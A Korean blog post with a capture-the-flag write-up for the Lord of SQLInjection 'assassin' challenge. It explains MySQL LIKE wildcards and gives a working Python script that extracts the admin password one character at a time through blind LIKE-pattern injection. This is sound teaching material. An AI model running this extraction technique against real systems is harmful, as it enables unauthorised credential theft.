본문 바로가기

챌린지/los.rubiya.kr

Lord of SQLInjection - assassin

15번째 문제인 assassin이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

이번 문제에서는 따옴표만 필터링하고 있다. 우리가 입력할 수 있는 부분은 따옴표로 감싸져 있기 때문에 이를 탈출하는 것은 불가능하다. 그런데 이번에는 쿼리 내부에서 칼럼명이 아니라 pw 칼럼의 like 명령 파라미터로 문자열을 삽입할 수 있는데 이는 무슨 명령어일까? 간단히 말하면 WHERE 절에서 탐색 대상을 패턴을 이용해서 비교할 수 있도록 하는 명령이다.

 

SQL LIKE Operator

SQL LIKE Operator The SQL LIKE Operator The LIKE operator is used in a WHERE clause to search for a specified pattern in a column. There are two wildcards often used in conjunction with the LIKE operator: % - The percent sign represents zero, one, or multi

www.w3schools.com

LIKE 명령에서는 말 그대로 LIKE, ~같은 데이터를 찾는 조건을 걸 수 있다. 예를 들어 아래와 같은 MYSQL 데이터베이스가 있다고 하자.

idx name
0 Suzumiya Haruhi
1 Asahina Mikuru
2 Nagato Yuki
3 Kyon
4 Koizumi Itsuki
5 Kyonko

여기서 'Kyon'과 'Kyonko' 처럼 맨 앞에 'Kyon'이 붙은 데이터만 구하려면 어떻게 할 수 있을까? LIKE 명령을 활용하면 다음처럼 수행할 수 있다.

여기서 사용된 '%' 그리고 '_' 문자가 LIKE 명령에서 사용되는 와일드카드 문자다. '%'는 문자가 없거나 있거나 상관이 없으며 '_' 문자는 무조건 한 글자가 있어야 한다는 것을 의미한다. 이런 와일드카드들과 일반 문자열을 조합하면 위에서 사용된 'Kyon%' 패턴은 "name 칼럼에서 'Kyon'으로 시작하고 뒤에는 아무 문자나 와도 좋다"라는 것을 의미한다. 그렇다면 '_' 와일드카드를 사용하면 어떨까?

이 패턴은 "name 컬럼에서 'Kyon'으로 시작하고 뒤에 한 글자만 와야 한다"라는 것을 의미한다. 현재 데이터베이스에는 5 글자면서 앞의 4자리가 'Kyon'인 데이터는 없기 때문에 아무런 데이터도 출력되지 않는 것을 볼 수 있다. 그렇다면 6자리 'Kyonko'를 출력시키고자 한다면 어떻게 해야 할까? '__'처럼 '_' 와일드카드를 두 번 사용하는 것이다.

이 패턴은 "name 칼럼에서'Kyon'으로 시작하고 뒤에 두 글자만 와야 한다"라는 것을 의미한다. 현재 데이터베이스에 6 글자면서 앞의 4자리가 'Kyon'인 데이터는 'Kyonko'밖에 없기 때문에 이것이 출력되는 것을 볼 수 있다. 와일드카드는 이렇게 한 번에 여러 번 사용될 수 있고 아무 위치에나 복합적으로 사용될 수 있기 때문에 다음처럼 응용할 수 있다.

문제에서는 pw 칼럼에 대해 LIKE 명령을 사용하고 있다. 그렇기 때문에 파라미터로 '_' 문자를 하나씩 늘려가면서 전달하면 "비밀번호가 1글자인 경우", "비밀번호가 2글자인 경우", "비밀번호가 3글자인 경우",...처럼 한 글자씩 늘려가며 비교할 수 있기 때문에 비밀번호의 길이를 알 수 있다. 그래서 1개부터 시작해서 8개의 '_' 문자를 전달하였더니 위처럼 Hello guest란 메시지가 출력되었다. 이는 알파벳이나 숫자를 구분하지 않고 8글자인 비밀번호를 뜻하기 때문에 prob_assassin 데이터베이스에 8글자의 비밀번호가 존재한다면 조건을 충족하여 데이터를 반환하게 된다. 그러나 현재는 guest 계정이 반환되었기 때문에 생각해볼 여지가 존재한다.

 

첫 번째 추측은 admin과 guest의 비밀번호 길이가 동일한 것이다. 그리고 어떤 이유에선지 guest가 admin보다 먼저 탐색되어 쿼리 결과에 guest가 포함됐기 때문에 Hello guest 문자열이 출력되는 것이다. 현재 쿼리상에서 LIKE 뒤에 삽입되는 문자열의 따옴표를 탈출할 수 없기 때문에 추가적인 쿼리 입력은 불가능해 이를 확인할 방법은 없지만 '_'를 더 붙여서 20자리까지 시도해봐도 Hello admin 문자열을 얻을 수 없었기 때문에 이렇게 추측할 수 있었다.

 

두 번째 추측은 admin과 guest의 비밀번호 일부가 동일한 것이다. 예를 들어 admin의 비밀번호가 admin123, guest의 비밀번호가 apple123이라 할 때 LIKE로 'a_______'처럼 비교해도 admin과 guest가 둘 다 해당되며 guest가 먼저 출력되는 문제 특성상 Hello guest 문자열이 출력된다. 그렇기 때문에 비밀번호를 비교할 때 입력 가능한 범위의 문자를 모두 시도했음에도 불구하고 Hello admin 문자열을 얻지 못했다면 Hello guest가 출력된 문자를 admin 계정의 비밀번호로 생각할 수 있다.

 

이를 바탕으로 작성한 코드는 다음과 같다.

import requests


password = ''
password_length = -1

URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}

guest_length = -1
for estimated_length in range(1, 20):
    query = {'pw': '_' * estimated_length}

    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if "Hello admin" in res.text:
        password_length = estimated_length
        print("admin's password length is {}".format(password_length))
        break
    elif "Hello guest" in res.text:
        guest_length = estimated_length

if guest_length > 0 and password_length < 0:
    print("admin's password length is not found. using guest's password length: {}".format(guest_length))
    password_length = guest_length

for current_password_length in range(1, password_length+1) :
    guest_character = ''
    is_found = False
    for password_chr in range(ord('0'),ord('z')+1) :        
        query={'pw': password + chr(password_chr) + '_' * (password_length - current_password_length)}
        
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if "Hello admin" in res.text:
            password = password+chr(password_chr)
            is_found = True
            print(password)
            break
        
        elif "Hello guest" in res.text:
            guest_character = chr(password_chr)

    if is_found is False:
        password = password + guest_character
        print("admin's password character unknown. using guest's password character")
        print(password)
            

if len(password) == password_length:
    print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))

위처럼 '_'를 하나씩 늘려가면서 비밀번호의 길이를 파악한 후 '________'의 '_'를 처음부터 하나씩 0부터 9까지, A부터 Z까지, a부터 z까지 비교해가면서 탐색한다. 이때 위에서 말한 것처럼 admin과 guest의 비밀번호가 겹치는 부분이 있을 경우 이를 기억해뒀다가 Hello admin 문자열이 한 번도 출력되지 않으면 이를 admin 계정의 비밀번호로 추가하는 로직을 구현하였다. 실행결과 다음처럼 처음 두 개의 문자는 '_'로 겹치는 것을 알 수 있었다.

이때 비밀번호 앞의 두 '_'는 실제로 비밀번호 문자가 '_'인 듯하다.

 

 

이번 문제는 LIKE를 사용해서 비밀번호를 추측해나가는 문제였는데 한 번도 사용해본 적 없는 명령어였기 때문에 초반에 이 명령어가 어떻게 동작하는지 조금 헷갈렸다. 하지만 옛날에 쓰던 아이리버의 전자사전 제품에서 이와 비슷한 와일드카드 검색 기능이 있었던 것을 떠올리고 응용하여 비밀번호를 찾아낼 수 있었다. 특정 문자열 패턴을 찾을 때 유용할 것 같다.

'챌린지 > los.rubiya.kr' 카테고리의 다른 글

Lord of SQLInjection - zombie_assassin  (0) 2021.01.11
Lord of SQLInjection - succubus  (0) 2021.01.06
Lord of SQLInjection - giant  (0) 2021.01.04
Lord of SQLInjection - bugbear  (0) 2021.01.03
Lord of SQLInjection - darkknight  (0) 2021.01.01